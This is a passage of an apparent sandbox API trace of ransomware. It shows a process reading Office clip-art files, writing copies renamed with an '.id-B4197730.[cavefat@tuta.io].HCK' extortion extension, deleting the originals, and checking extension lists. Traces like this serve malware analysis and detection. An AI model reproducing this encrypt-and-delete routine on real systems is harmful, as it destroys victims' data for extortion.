"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.392] GetLastError () returned 0x0 [0180.392] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x10cb8, lpOverlapped=0x0) returned 1 [0180.395] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x10cc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10cc0, lpOverlapped=0x0) returned 1 [0180.396] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.396] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.396] SetEndOfFile (hFile=0x370) returned 1 [0180.399] CloseHandle (hObject=0x370) returned 1 [0180.399] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.399] SetEndOfFile (hFile=0x368) returned 1 [0180.400] CloseHandle (hObject=0x368) returned 1 [0180.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00299_.wmf")) returned 1 [0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.403] lstrlenW (lpString=".doc") returned 4 [0180.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.403] lstrlenW (lpString=".docx") returned 5 [0180.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.403] lstrlenW (lpString=".pdf") returned 4 [0180.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.403] lstrlenW (lpString=".xls") returned 4 [0180.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.403] lstrlenW (lpString=".xlsx") returned 5 [0180.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.403] lstrlenW (lpString=".ppt") returned 4 [0180.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.403] lstrlenW (lpString=".zip") returned 4 [0180.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.403] lstrlenW (lpString=".rar") returned 4 [0180.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString=".bz2") returned 4 [0180.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString=".7z") returned 3 [0180.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".dbf") returned 4 [0180.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".1cd") returned 4 [0180.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".jpg") returned 4 [0180.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".doc") returned 4 [0180.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString=".docx") returned 5 [0180.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.404] lstrlenW (lpString=".pdf") returned 4 [0180.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString=".xls") returned 4 [0180.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.404] lstrlenW (lpString=".xlsx") returned 5 [0180.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.404] lstrlenW (lpString=".ppt") returned 4 [0180.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".zip") returned 4 [0180.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.404] lstrlenW (lpString=".rar") returned 4 [0180.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString=".bz2") returned 4 [0180.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString=".7z") returned 3 [0180.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".dbf") returned 4 [0180.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.404] lstrlenW (lpString=".1cd") returned 4 [0180.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 68 [0180.405] lstrlenW (lpString=".jpg") returned 4 [0180.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.405] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.405] lstrlenW (lpString="SO00333_.WMF") returned 12 [0180.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.411] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=61002) returned 1 [0180.411] CloseHandle (hObject=0x2fc) returned 1 [0180.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf")) returned 0x220 [0180.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.415] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.415] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.417] GetLastError () returned 0x0 [0180.417] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xee4a, lpOverlapped=0x0) returned 1 [0180.419] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xee50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xee50, lpOverlapped=0x0) returned 1 [0180.421] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.421] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.421] SetEndOfFile (hFile=0x368) returned 1 [0180.423] CloseHandle (hObject=0x368) returned 1 [0180.427] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.427] SetEndOfFile (hFile=0x300) returned 1 [0180.431] CloseHandle (hObject=0x300) returned 1 [0180.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf")) returned 1 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.434] lstrlenW (lpString=".doc") returned 4 [0180.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString=".docx") returned 5 [0180.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.434] lstrlenW (lpString=".pdf") returned 4 [0180.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString=".xls") returned 4 [0180.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.434] lstrlenW (lpString=".xlsx") returned 5 [0180.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.434] lstrlenW (lpString=".ppt") returned 4 [0180.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.434] lstrlenW (lpString=".zip") returned 4 [0180.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.435] lstrlenW (lpString=".rar") returned 4 [0180.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString=".bz2") returned 4 [0180.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString=".7z") returned 3 [0180.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString=".dbf") returned 4 [0180.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString=".1cd") returned 4 [0180.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString=".jpg") returned 4 [0180.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString=".doc") returned 4 [0180.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString=".docx") returned 5 [0180.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.435] lstrlenW (lpString=".pdf") returned 4 [0180.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString=".xls") returned 4 [0180.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.435] lstrlenW (lpString=".xlsx") returned 5 [0180.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.435] lstrlenW (lpString=".ppt") returned 4 [0180.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString=".zip") returned 4 [0180.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.435] lstrlenW (lpString=".rar") returned 4 [0180.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString=".bz2") returned 4 [0180.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.435] lstrlenW (lpString=".7z") returned 3 [0180.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.435] lstrlenW (lpString=".dbf") returned 4 [0180.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.436] lstrlenW (lpString=".1cd") returned 4 [0180.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 68 [0180.436] lstrlenW (lpString=".jpg") returned 4 [0180.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.436] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.436] lstrlenW (lpString="SO00367_.WMF") returned 12 [0180.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.437] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20970) returned 1 [0180.437] CloseHandle (hObject=0x370) returned 1 [0180.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf")) returned 0x220 [0180.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.443] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.444] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.446] GetLastError () returned 0x0 [0180.446] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x51ea, lpOverlapped=0x0) returned 1 [0180.448] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x51f0, lpOverlapped=0x0) returned 1 [0180.448] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.449] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.449] SetEndOfFile (hFile=0x300) returned 1 [0180.449] CloseHandle (hObject=0x300) returned 1 [0180.450] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.450] SetEndOfFile (hFile=0x370) returned 1 [0180.453] CloseHandle (hObject=0x370) returned 1 [0180.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf")) returned 1 [0180.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.460] lstrlenW (lpString=".doc") returned 4 [0180.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.460] lstrlenW (lpString=".docx") returned 5 [0180.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.460] lstrlenW (lpString=".pdf") returned 4 [0180.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.460] lstrlenW (lpString=".xls") returned 4 [0180.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.460] lstrlenW (lpString=".xlsx") returned 5 [0180.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.461] lstrlenW (lpString=".ppt") returned 4 [0180.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".zip") returned 4 [0180.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.461] lstrlenW (lpString=".rar") returned 4 [0180.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString=".bz2") returned 4 [0180.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString=".7z") returned 3 [0180.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".dbf") returned 4 [0180.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".1cd") returned 4 [0180.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".jpg") returned 4 [0180.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".doc") returned 4 [0180.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString=".docx") returned 5 [0180.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.461] lstrlenW (lpString=".pdf") returned 4 [0180.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString=".xls") returned 4 [0180.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.461] lstrlenW (lpString=".xlsx") returned 5 [0180.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.461] lstrlenW (lpString=".ppt") returned 4 [0180.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".zip") returned 4 [0180.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.461] lstrlenW (lpString=".rar") returned 4 [0180.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString=".bz2") returned 4 [0180.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString=".7z") returned 3 [0180.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".dbf") returned 4 [0180.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".1cd") returned 4 [0180.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 68 [0180.461] lstrlenW (lpString=".jpg") returned 4 [0180.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.462] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.462] lstrlenW (lpString="SO00416_.WMF") returned 12 [0180.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.464] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28750) returned 1 [0180.464] CloseHandle (hObject=0x39c) returned 1 [0180.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf")) returned 0x220 [0180.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.468] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.468] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.474] GetLastError () returned 0x0 [0180.474] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, 